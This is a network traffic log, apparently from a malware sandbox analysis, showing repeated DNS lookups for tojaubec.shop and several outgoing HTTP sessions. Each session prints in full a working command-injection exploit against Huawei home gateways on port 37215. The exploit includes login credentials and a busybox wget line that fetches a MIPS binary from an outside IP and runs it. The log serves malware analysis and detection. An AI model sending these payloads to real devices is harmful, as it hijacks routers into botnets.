Jan 5, 2025 14:35:51.186022043 CET	192.168.2.13	8.8.8.8	0x22ff	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:53.655639887 CET	192.168.2.13	8.8.8.8	0xa115	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:56.141601086 CET	192.168.2.13	8.8.8.8	0x4324	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:58.625286102 CET	192.168.2.13	8.8.8.8	0x82e	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:01.088690042 CET	192.168.2.13	8.8.8.8	0xc97e	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:03.563343048 CET	192.168.2.13	8.8.8.8	0xada5	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:06.029325962 CET	192.168.2.13	8.8.8.8	0x80f	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:09.061209917 CET	192.168.2.13	8.8.8.8	0x42df	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:11.528198004 CET	192.168.2.13	8.8.8.8	0x30d7	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:14.011477947 CET	192.168.2.13	8.8.8.8	0xb968	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:16.485920906 CET	192.168.2.13	8.8.8.8	0x7892	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:18.967288971 CET	192.168.2.13	8.8.8.8	0x8ddc	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:21.453001022 CET	192.168.2.13	8.8.8.8	0x9f95	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:23.917375088 CET	192.168.2.13	8.8.8.8	0xc574	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:26.389955044 CET	192.168.2.13	8.8.8.8	0x5a05	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:28.875617027 CET	192.168.2.13	8.8.8.8	0xffcb	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:31.343560934 CET	192.168.2.13	8.8.8.8	0x7879	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:33.831446886 CET	192.168.2.13	8.8.8.8	0x2da4	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:36.312448978 CET	192.168.2.13	8.8.8.8	0xe541	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:38.794622898 CET	192.168.2.13	8.8.8.8	0x88e4	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:41.279491901 CET	192.168.2.13	8.8.8.8	0x1dae	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:43.759236097 CET	192.168.2.13	8.8.8.8	0xdfdf	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:46.214730978 CET	192.168.2.13	8.8.8.8	0x2814	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:48.719024897 CET	192.168.2.13	8.8.8.8	0x47c6	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:51.183882952 CET	192.168.2.13	8.8.8.8	0xc69c	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:53.654953957 CET	192.168.2.13	8.8.8.8	0xa319	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:56.140508890 CET	192.168.2.13	8.8.8.8	0xe6a5	Standard query (0)	tojaubec.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 5, 2025 14:34:51.766019106 CET	8.8.8.8	192.168.2.13	0xb42a	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:54.255429029 CET	8.8.8.8	192.168.2.13	0xb73b	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:56.757287025 CET	8.8.8.8	192.168.2.13	0x50eb	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:34:59.300472021 CET	8.8.8.8	192.168.2.13	0x3a1	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:07.450973034 CET	8.8.8.8	192.168.2.13	0x743f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:10.975152016 CET	8.8.8.8	192.168.2.13	0x12bf	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:13.462081909 CET	8.8.8.8	192.168.2.13	0x152b	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:16.071439981 CET	8.8.8.8	192.168.2.13	0x4d5d	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:18.569052935 CET	8.8.8.8	192.168.2.13	0xdc9	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:21.078943968 CET	8.8.8.8	192.168.2.13	0xcb9f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:23.572841883 CET	8.8.8.8	192.168.2.13	0x3b59	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:26.054148912 CET	8.8.8.8	192.168.2.13	0xc8e8	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:28.617353916 CET	8.8.8.8	192.168.2.13	0x9e3f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:31.188636065 CET	8.8.8.8	192.168.2.13	0x4c4	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:33.674767971 CET	8.8.8.8	192.168.2.13	0x9863	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:36.190825939 CET	8.8.8.8	192.168.2.13	0xdf8f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:38.677401066 CET	8.8.8.8	192.168.2.13	0xd74d	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:41.194864035 CET	8.8.8.8	192.168.2.13	0xcc1	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:43.678947926 CET	8.8.8.8	192.168.2.13	0xd395	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:46.161237955 CET	8.8.8.8	192.168.2.13	0xd3be	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:48.710762024 CET	8.8.8.8	192.168.2.13	0xe7fb	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:51.192758083 CET	8.8.8.8	192.168.2.13	0x22ff	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:53.661974907 CET	8.8.8.8	192.168.2.13	0xa115	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:56.148004055 CET	8.8.8.8	192.168.2.13	0x4324	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:35:58.631845951 CET	8.8.8.8	192.168.2.13	0x82e	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:01.095052004 CET	8.8.8.8	192.168.2.13	0xc97e	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:03.571063995 CET	8.8.8.8	192.168.2.13	0xada5	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:06.037343025 CET	8.8.8.8	192.168.2.13	0x80f	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:09.069381952 CET	8.8.8.8	192.168.2.13	0x42df	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:11.549274921 CET	8.8.8.8	192.168.2.13	0x30d7	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:14.018625021 CET	8.8.8.8	192.168.2.13	0xb968	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:16.493460894 CET	8.8.8.8	192.168.2.13	0x7892	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:18.975121975 CET	8.8.8.8	192.168.2.13	0x8ddc	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:21.460306883 CET	8.8.8.8	192.168.2.13	0x9f95	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:23.924020052 CET	8.8.8.8	192.168.2.13	0xc574	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:26.396449089 CET	8.8.8.8	192.168.2.13	0x5a05	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:28.881984949 CET	8.8.8.8	192.168.2.13	0xffcb	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:31.349756002 CET	8.8.8.8	192.168.2.13	0x7879	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:33.838253021 CET	8.8.8.8	192.168.2.13	0x2da4	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:36.319653988 CET	8.8.8.8	192.168.2.13	0xe541	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:38.802306890 CET	8.8.8.8	192.168.2.13	0x88e4	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:41.286128998 CET	8.8.8.8	192.168.2.13	0x1dae	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:43.765594959 CET	8.8.8.8	192.168.2.13	0xdfdf	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:46.235830069 CET	8.8.8.8	192.168.2.13	0x2814	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:48.725944042 CET	8.8.8.8	192.168.2.13	0x47c6	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:51.196403980 CET	8.8.8.8	192.168.2.13	0xc69c	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:53.663002014 CET	8.8.8.8	192.168.2.13	0xa319	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false
Jan 5, 2025 14:36:56.147547007 CET	8.8.8.8	192.168.2.13	0xe6a5	No error (0)	tojaubec.shop	92.118.56.203	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	49940	156.108.75.55	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:52.995141983 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	59402	197.199.121.75	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:52.996967077 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	44044	156.64.87.47	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:52.998778105 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	56562	41.182.70.62	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.000319004 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	40130	197.132.40.247	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.002063990 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	56562	41.214.12.69	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:53.003622055 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	57124	41.72.218.62	37215

Timestamp	Bytes transferred	Direction	Data
